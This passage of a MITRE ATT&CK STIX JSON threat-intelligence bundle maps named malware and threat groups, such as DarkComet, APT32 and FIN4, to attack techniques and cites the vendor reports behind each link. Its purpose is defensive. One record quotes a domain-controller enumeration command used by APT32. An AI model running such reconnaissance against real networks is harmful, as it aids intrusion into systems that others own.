            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2019-04-19T14:39:52.965Z",
            "created": "2019-01-29T18:55:20.850Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "source_name": "TrendMicro DarkComet Sept 2014"
                },
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can collect the computer name, RAM used, and operating system version from the victim\u2019s machine.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--62442f37-7a0e-4945-b498-2d02306e53c7",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.576Z",
            "created": "2019-01-29T19:18:28.762Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) has a command to delete a file from the machine.(Citation: Kaspersky Turla Aug 2014)",
            "id": "relationship--3464b769-7884-4721-8384-1771472f668d",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-07-26T16:10:42.699Z",
            "created": "2019-01-29T19:55:47.945Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PaloAlto NanoCore Feb 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) can perform keylogging on the victim\u2019s machine.(Citation: PaloAlto NanoCore Feb 2016)",
            "id": "relationship--a09b9e3f-96b8-4fde-9f7d-261b449cdabd",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:17:50.827Z",
            "created": "2019-01-29T20:05:36.504Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) leveraged Sysmon to understand the processes, services in the organization.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--f4d825cd-08d4-47ad-975c-37b886192e7c",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.375Z",
            "created": "2019-01-29T21:27:25.205Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.",
                    "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise",
                    "source_name": "Unit42 SilverTerrier 2018"
                }
            ],
            "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) uses SMTP for C2 communications.(Citation: Unit42 SilverTerrier 2018)",
            "id": "relationship--5e7e3226-1583-48de-9376-946fa88b6d15",
            "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "type": "relationship",
            "modified": "2020-03-17T02:36:01.222Z",
            "created": "2019-01-29T21:36:59.980Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Micropsia June 2017",
                    "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html",
                    "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) collects the username from the victim\u2019s machine.(Citation: Talos Micropsia June 2017)",
            "id": "relationship--693372c1-418e-45c3-9b0e-0c21d705d1d2",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.847Z",
            "created": "2019-01-29T21:47:53.757Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects information about the network including the IP address and DHCP server.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--75a8e452-5a08-45c8-b194-ace6788c3c4f",
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.943Z",
            "created": "2019-01-30T13:42:09.408Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/",
                    "source_name": "PaloAlto DNS Requests May 2016"
                }
            ],
            "description": "[APT18](https://attack.mitre.org/groups/G0026) uses HTTP for C2 communications.(Citation: PaloAlto DNS Requests May 2016)",
            "id": "relationship--d7d7b5e5-aceb-473b-aeaa-f1287d8d0542",
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:03:45.161Z",
            "created": "2019-01-30T14:00:49.822Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "description": "[Seasalt](https://attack.mitre.org/software/S0345) obfuscates configuration data.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--82168e77-bbd9-4da4-b163-7f813df06426",
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-02-12T21:28:19.580Z",
            "created": "2019-01-30T15:27:06.718Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Oceansalt Oct 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
                }
            ],
            "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can extract drive information from the endpoint and search files on the system.(Citation: McAfee Oceansalt Oct 2018)",
            "id": "relationship--6c130c97-8623-4d14-829e-0e90dd0757a0",
            "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-02-12T21:14:11.181Z",
            "created": "2019-01-30T15:43:19.382Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can collect the hostname, Microsoft Windows version, and processor architecture from a victim machine.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--c50c585a-b5c4-41c7-91a2-b6bb14b7e1f0",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.585Z",
            "created": "2019-01-30T16:39:54.305Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) uses various techniques to bypass UAC.(Citation: ClearSky MuddyWater Nov 2018)",
            "id": "relationship--80d612e4-8d4a-45f7-8c29-d44a1aae794c",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2019-06-28T15:30:58.582Z",
            "created": "2019-01-30T17:33:40.871Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                },
                {
                    "source_name": "Microsoft DUBNIUM July 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/",
                    "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has sent spearphishing emails in an attempt to lure users into clicking on a malicious attachments.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)",
            "id": "relationship--e936d8c6-f069-49b1-8d4e-9ecafab2a576",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2021-04-22T14:35:25.326Z",
            "created": "2019-01-30T17:43:28.285Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has performed SQL injection attacks of extranet web servers to gain access.(Citation: McAfee Night Dragon)",
            "id": "relationship--c893eaa3-de1e-47e9-a01b-5de2b54d00ab",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.800Z",
            "created": "2019-01-30T18:02:59.371Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                },
                {
                    "source_name": "Unit42 Sofacy Dec 2018",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) can obtain a list of processes running on the system.(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)",
            "id": "relationship--11870221-f730-4844-a441-ac1e8d21bc4b",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-22T19:48:08.937Z",
            "created": "2019-01-30T18:58:04.079Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) can gather information on the victim IP address.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--e3347969-1cfd-43f3-b871-65874c4b2f95",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.477Z",
            "created": "2019-01-30T19:50:46.692Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--e18e5899-894b-4889-b008-77b44dbc0fce",
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71",
            "external_references": [
                {
                    "source_name": "Unit 42 Nokki Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."
                }
            ],
            "description": "(Citation: Unit 42 Nokki Oct 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.913Z",
            "created": "2019-01-31T00:25:28.215Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has enumerated DC servers using the command <code>net group \"Domain Controllers\" /domain</code>. The group has also used the <code>ping</code> command.(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--a6080757-7935-439b-b70f-72ba841cda03",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2020-06-29T16:54:25.889Z",
            "created": "2019-01-31T01:07:58.596Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used Tor to log in to victims' email accounts.(Citation: FireEye Hacking FIN4 Dec 2014)",
            "id": "relationship--50f68fb8-1e59-4b3a-b389-9c2797f4d347",
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "type": "relationship",
            "modified": "2019-04-18T20:19:49.250Z",
            "created": "2019-01-31T02:01:45.573Z"
        },
        {
            "id": "relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [BlackEnergy](https://attack.mitre.org/software/S0089) 2 plug-in uses WMI to gather victim host details.(Citation: Securelist BlackEnergy Feb 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist BlackEnergy Feb 2015",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-06-24T17:08:51.686Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e432b3bc-5539-40e5-bce2-3ba6f463b571",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-09-16T16:02:16.980Z",
            "created": "2017-05-31T21:33:27.026Z"
        },
        {
            "id": "relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used scheduled task raw XML with a backdated timestamp of June 2, 2016. The group has also set the creation time of the files dropped by the second stage of the exploit to match the creation time of kernel32.dll. Additionally, [APT32](https://attack.mitre.org/groups/G0050) has used a random value to modify the timestamp of the file storing the clientID.(Citation: FireEye APT32 May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: ESET OceanLotus macOS April 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                },
                {
                    "source_name": "ESET OceanLotus macOS April 2019",
                    "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/",
                    "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
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                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                }
            ],
            "description": "(Citation: Symantec Elderwood Sept 2012)",
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            "description": "[4H RAT](https://attack.mitre.org/software/S0065) uses HTTP for command and control.(Citation: CrowdStrike Putter Panda)",
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                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
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            ],
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                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito Jan 2018"
                },
                {
                    "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/",
                    "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito May 2018"
                }
            ],
            "description": "(Citation: ESET Turla Mosquito Jan 2018)(Citation: ESET Turla Mosquito May 2018)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.654Z",
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            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) has batch files that modify the system service COMSysApp to load a malicious DLL.(Citation: McAfee Honeybee)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
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            ],
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            "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using SOCKS.(Citation: FireEye admin@338)",
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                {
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                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
                }
            ],
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                },
                {
                    "source_name": "GitHub Invoke-Obfuscation",
                    "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.",
                    "url": "https://github.com/danielbohannon/Invoke-Obfuscation"
                },
                {
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "source_name": "ESET OceanLotus"
                },
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                },
                {
                    "source_name": "ESET OceanLotus macOS April 2019",
                    "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/",
                    "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."
                }
            ],
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            "relationship_type": "uses",
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            "description": "[Calisto](https://attack.mitre.org/software/S0274) can collect data from user directories.(Citation: Securelist Calisto July 2018)",
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                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-01-17T19:33:18.059Z",
            "created": "2018-10-17T00:14:20.652Z"
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        {
            "id": "relationship--410f6714-cd02-4253-b324-a8ac15e70bca",
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used spearphishing emails with an attachment to deliver files with exploits to initial victims.(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)",
            "object_marking_refs": [
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                {
                    "source_name": "F-Secure The Dukes",
